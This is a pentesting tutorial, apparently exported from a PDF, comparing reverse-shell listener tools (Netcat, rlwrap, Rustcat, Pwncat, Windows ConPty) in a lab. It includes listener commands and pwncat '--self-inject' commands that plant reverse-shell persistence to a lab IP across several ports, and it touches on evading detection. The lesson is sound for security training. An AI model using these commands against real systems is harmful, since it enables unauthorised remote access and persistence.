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Introduction 
Pentesters rely on a variety of tools to establish connec�ons and maintain access during security 
assessments. One cri�cal component of their toolkit is the listener—a program that listens for 
incoming connec�ons and facilitates communica�on with compromised systems. In this blog, we’ll 
explore the best alterna�ve of Netcat listener, highligh�ng powerful tools that provide improved 
func�onality and performance. 

Furthermore, we’ll delve into different listener op�ons, exploring features and use cases for popular 
tools such as Netcat, Rlwrap, Rustcat, Pwncat, and Windows ConPty shell. 

Reverse Shell Generator 
To generate a reverse shell, you can use RevShells, as it provides numerous commands for reverse 
shells and listeners based on the OS, which are ideal for Remote Command Execu�on scenarios. 

Nevertheless, many online and offline techniques also help generate reverse shells. For more 
op�ons, read our previous blog “Easy way to Generate Reverse Shell” 

 

Netcat 
Netcat, o�en dubbed the "Swiss Army knife of networking," is a versa�le tool for crea�ng simple 
TCP and UDP connec�ons. Its minimalist design and broad func�onality make it a favorite among 
pentesters. Key features include: 

• Basic Connec�vity 
• Port Scanning 
• File Transfer 
• Remote Shell Access 

You can start a Netcat listener at port 4444 on the Kali machine. Use the following command for the 
Netcat listener: 
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nc -lnvp 4444 
A�er genera�ng the reverse shell command from the reverse shell generator, execute the reverse 
shell command on the Ubuntu OS. 

 

As a result, when you run the above command in Ubuntu OS, you obtain a reverse shell in the Kali 
machine. 

Limita�on: However, users observe that a�er pressing the upper arrow key to reuse the previous 
command, the terminal does not complete the command. 

 

rlwrap for OSCP 
rlwrap, short for "readline wrapper" enhances the usability of command-line interfaces. While not a 
dedicated listener tool, it improves the experience of interac�ng with shell-based tools like Netcat 
through: 

• Command Line History 
• Autocomple�on 

Benefits of Rlwrap over Netcat 
rlwrap adds command history and edi�ng capabili�es to Netcat sessions, simplifying command recall 
and modifica�on. Pentesters benefit from rlwrap's tab-comple�on feature, speeding up command 
entry by sugges�ng possible comple�ons based on the current input. 

Installa�on of rlwrap is simple, just use the following command: 

apt install rlwrap 
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A�er installa�on repeat the en�re process followed in the netcat sec�on, but for reverse shell use 
the following listener command to use the rlwrap: 

rlwrap nc -lvnp 4444 
Advantage: Observe that the a�er the reverse shell is obtained, the command can be autocompleted 
and reused. 

 

Rustcat for OSCP 
Rustcat, a modern reimplementa�on of Netcat in the Rust programming language, aims to provide 
improved performance and security while retaining Netcat's func�onality. Key reasons for its 
adop�on include: 

• Serves it purpose of listening to ports 
• Grab History 
• User-friendly 
• Supports udp 
• Uses colors 

Rustcat leverages Rust's memory safety features, reducing the likelihood of common vulnerabili�es 
such as buffer overflows. Its design enables concurrent connec�ons, allowing pentesters to handle 
mul�ple sessions efficiently. Like Netcat, Rustcat is available on mul�ple pla�orms, ensuring 
compa�bility across different opera�ng systems. 

Installa�on of Rustcat can be done using cargo, the following command can be used: 

apt install cargo 
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cargo install rustcat 
 

 

Make sure to add the /root/.cargo/bin to the path 

 

echo $SHELL 
nano .zshrc 
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Add the /root/.cargo/bin as Export Path. 

 

A�er installa�on repeat the en�re process followed in the netcat sec�on, but for reverse shell use 
the following listener command to use the rustcat: 

rcat listen -ib 1234 
Advantage: Observe that the tab comple�on is enable in rcat and can be used to autocomplete the 
commands. 

 

Observe that the tab comple�on is enable in rcat and can be used to autocomplete the commands. 
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However, it has more dynamic features such UDP  (-lpu) connec�on and History func�on (-lpH)  

Pwncat for Red Teamer 
Pwncat, a feature-rich netcat-like tool designed for pentesters and red teamers, offers several 
enhancements over tradi�onal Netcat: 

• Interac�ve Shell 
• Scriptable Interface 
• Encrypted Communica�on 
• Persistance 

It provides an interac�ve shell with syntax highligh�ng and command comple�on, improving the user 
experience. Pentesters can automate tasks using Pwncat's Python scrip�ng interface, allowing for 
greater flexibility and customiza�on. It also supports encrypted communica�on channels, ensuring 
confiden�ality when interac�ng with compromised systems. 

Installa�on of pwncat can be done using pip, the following command can be used: 

pip install pwncat 

https://www.hackingarticles.in/
https://www.linkedin.com/company/hackingarticles/
https://x.com/hackinarticles
https://github.com/Ignitetechnologies
https://discord.gg/vU2uUjrsPC


Best Alternative of Netcat Listener 

 

                                                                                                 9 | P a g e  
 

 

A�er installa�on repeat the en�re process followed in the netcat sec�on, but for reverse shell use 
the following listener command to use the pwncat: 

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234 
Advantage: Observe that pwncat holds a persistence by crea�ng a file in the /tmp/ directory. 
Therefore, if a connec�on is lost the reverse shell can s�ll be obtained at the same port which was 
previously used like a persistence 
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The persistence can be checked by running a rlwrap listener at the same port a�er termina�ng the 
above connec�on. 

 

Pwncat provides a feature to create persistence on mul�ple ports, which you can perform using the 
following commands: 

pwncat -l 1234 --self-inject /bin/bash:192.168.1.7:1234+2 
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It can be observed that along with port 1234, the reverse shell can also be obtained on the ports 
1235 and 1236. 
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Windows ConPty Shell 
The Windows ConPty shell, a more recent addi�on to the pentester's arsenal, leverages the ConPty 
func�onality introduced in Windows 10. It offers several advantages over tradi�onal shells: 

• Improved TTY 
• Stability and Compa�bility 
• Evasion Techniques 
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ConPty shell provides improved TTY func�onality, allowing for a more interac�ve experience, 
including proper handling of command line u�li�es like Vim and Python. 

Advantage: It is more stable and compa�ble with modern Windows systems, providing a reliable 
op�on for post-exploita�on ac�vi�es. Pentesters can u�lize ConPty shell to bypass security 
mechanisms by avoiding tradi�onal detec�on methods. 

You can use the reverse shell generator for the listener command and the reverse shell payload. 

 

You can use the command from the reverse shell generator website to start the listener at port 443 
on the Kali machine. 
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Now using the reverse shell payload in the windows machine and running the command copied from 
reverse shell generator. 

 

Observe that the reverse shell is obtained at port 443 and it is a fully interac�ve session. 

 

Conclusion 
In conclusion, pentesters have a diverse range of listener op�ons available, each offering unique 
features and benefits. Whether it's the simplicity of Netcat, the usability enhancements of Rlwrap, 
the performance and security of Rustcat, the advanced capabili�es of Pwncat, or the modern 
func�onality of the Windows ConPty shell, selec�ng the right tool depends on the specific 
requirements of the assessment. 

By understanding the strengths and weaknesses of these tools, pentesters can effec�vely establish 
and maintain access during security engagements. 
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